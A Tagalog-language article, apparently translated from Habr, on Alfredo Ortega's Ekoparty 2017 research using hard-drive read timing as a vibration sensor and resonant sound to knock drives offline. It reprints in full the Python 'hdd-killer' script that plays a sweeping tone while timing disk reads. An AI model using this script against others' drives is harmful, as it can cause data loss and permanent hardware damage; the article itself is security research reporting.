Bakit hindi ka dapat sumigaw sa iyong HDD

Bakit hindi ka dapat sumigaw sa iyong HDD

Sa Ekoparty 2017 computer security conference sa Buenos Aires, ang Argentine hacker na si Alfredo Ortega ay nagpakita ng isang napaka-kagiliw-giliw na pag-unlad - isang sistema para sa patagong wiretapping ng mga lugar nang hindi gumagamit ng mikropono. Tunog direktang naitala sa hard drive!

Ang HDD ay pangunahing nakakakuha ng high-intensity low-frequency na tunog, yabag at iba pang vibrations. Ang pagsasalita ng tao ay hindi pa makikilala, bagaman mga siyentipiko ay nagsasagawa ng pananaliksik sa direksyong ito (pagkilala sa pagsasalita sa pamamagitan ng mga low-frequency na vibrations, na naitala, halimbawa, mula sa isang gyroscope o HDD).

Ang tunog ay ang vibration ng hangin o ibang medium. Nakikita sila ng isang tao sa pamamagitan ng eardrum, na nagpapadala ng mga panginginig ng boses sa panloob na tainga. Ang mikropono ay halos idinisenyo tulad ng isang tainga - dito rin, ang mga panginginig ng boses ay naitala ng isang manipis na lamad, na nagpapasigla sa isang electrical impulse. Ang hard drive, siyempre, ay napapailalim din sa mga microscopic vibrations dahil sa mga pagbabago sa nakapaligid na hangin. Ito ay kilala kahit na mula sa mga teknikal na katangian ng mga HDD: ang mga tagagawa ay karaniwang nagpapahiwatig ng pinakamataas na pinahihintulutang antas ng panginginig ng boses, at ang hard drive mismo ay madalas na sumusubok na ilagay ito sa isang lalagyan ng vibration-proof na gawa sa goma o iba pang insulating material. Mula dito ay madaling maghinuha na ang mga tunog ay maaaring maitala gamit ang HDD. Ang natitira na lang ay upang malaman kung paano.

Iminungkahi ni Alfredo Ortega ang isang natatanging bersyon ng pag-atake sa side-channel, katulad ng pag-atake sa oras. Ang pag-atake na ito ay batay sa pagpapalagay na ang iba't ibang mga operasyon ay ginagawa sa device sa iba't ibang oras, depende sa ibinigay na data ng input. Sa kasong ito, ang "data ng input" ay ang mga vibrations ng reading head at ang HDD platter, na nauugnay sa mga vibrations ng kapaligiran, iyon ay, sa tunog. Kaya, sa pamamagitan ng pagsukat sa oras ng pagkalkula at pagsasagawa ng istatistikal na pagsusuri ng data, posibleng sukatin ang mga vibrations ng head/platter at samakatuwid ang mga vibrations ng medium. Kung mas matagal ang pagkaantala sa pagbabasa ng data, mas malakas ang mga vibrations ng HDD at, samakatuwid, mas malakas ang tunog.

Paano sukatin ang vibration ng hard drive? Napakasimple: patakbuhin lang ang system call read () β€” at itala ang oras na kinakailangan upang makumpleto. Nagbibigay-daan sa iyo ang mga modernong operating system na basahin ang timing ng mga tawag sa system na may katumpakan ng nanosecond.

Ang bilis ng pagbabasa ng impormasyon mula sa isang sektor ay depende sa posisyon ng ulo at platter, na nauugnay sa mga vibrations ng HDD case. Iyon lang.

Ang pagtatasa ng istatistika ay isinasagawa gamit ang isang simpleng Kscope utility. Tulad ng sinasabi nila, ang lahat ng mapanlikha ay simple.

Bakit hindi ka dapat sumigaw sa iyong HDD
Kscope utility (stat() syscall)

Ang Kscope ay isang maliit na utility para makita ang maliliit na pagkakaiba sa mga oras ng pagpapatupad ng system call. Pinagmulanna-publish sa GitHub.

Sa isang hiwalay na imbakan Oras ng HDD mayroong isang bersyon ng utility na na-configure para sa isang oras na pag-atake sa hard drive, iyon ay, na-configure upang pag-aralan ang system call read ().

Pagpapakita ng sound recording gamit ang HDD, pagpapatakbo ng Kscope utility


Siyempre, hindi mauunawaan ang pagsasalita sa ganitong paraan, ngunit ang HDD ay angkop bilang isang sensor ng panginginig ng boses. Halimbawa, maaari kang magparehistro kung ang isang taong nakasuot ng matitigas na sapatos o nakayapak ay pumasok sa isang silid na may computer (marahil, kung ang umaatake ay nakasuot ng malambot na sneaker o may makapal na karpet sa sahig, ang HDD ay hindi makakapagrehistro ng mga vibrations - ito ay nagkakahalaga ng pagsusuri). Nagagawa ng computer na magrehistro ng basag na salamin o iba pang mga insidente na may malakas na intensity ng tunog. Iyon ay, ang hard drive ay maaaring magsilbi bilang isang uri ng hindi awtorisadong sistema ng pagtuklas ng panghihimasok.

Pamatay ng HDD

Sa pamamagitan ng paraan, ang isang katulad na pamamaraan ay maaaring gamitin upang hindi paganahin ang mga hard drive. Dito lamang hindi namin inaalis ang mga oscillations mula sa HDD, ngunit sa kabaligtaran, bumubuo kami ng mga oscillations na pinapakain sa HDD. Kung nagpe-play ka ng tunog mula sa isang speaker sa frequency na tumutunog sa HDD frequency, malapit nang i-off ng system ang device na may I/O error (ganap na pinapatay ng Linux kernel ang HDD pagkalipas ng 120 segundo). Ang hard drive mismo ay maaaring magdusa ng hindi maibabalik na pinsala.

Bakit hindi ka dapat sumigaw sa iyong HDD
In-off ng Linux kernel ang hard drive pagkatapos ng 120 segundo ng paghahatid ng tunog sa isang resonating frequency sa pamamagitan ng speaker ng Edifier r19u USB speaker. Ang speaker ay naka-on sa halos isang-kapat ng kapangyarihan (mas mababa sa 100 mW) at matatagpuan 20 cm mula sa HDD, na naglalayong sa talahanayan upang mapahusay ang mga vibrations. Frame mula sa clip ng video na may isang pagpapakita ng HDD killer

Nakakapagtataka na ang gayong "mga pag-atake" sa mga HDD ay kung minsan ay ganap na nangyayari nang hindi sinasadya sa pang-araw-araw na buhay. Halimbawa, noong Setyembre 2016, napilitang suspindihin ang data center ng ING Bank sa loob ng 10 oras pagkatapos ng fire drill. Dose-dosenang mga hard drive ang nabigo dahil sa malakas na tunog ng inert gas na inilalabas mula sa mga cylinder sa ilalim ng mataas na presyon. Ang tunog ay napakalakas (higit sa 130 dB), ngunit hindi ka maaaring sumigaw sa mga hard drive - pinatataas nito ang pagkaantala sa pag-access sa HDD.

Pagpapakita ng pagsigaw ng tao sa mga hard drive sa isang data center. Pagsusukat ng latency


Upang makabuo ng matunog na tunog, sumulat si Alfredo Ortega ng script ng Python na tinatawag hdd-killer (pagpapakita ng video).

HDD killer script Ito ay medyo maliit, kaya maaari mong i-publish ito sa kabuuan nito dito.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Pinagmulan: www.habr.com

Magdagdag ng komento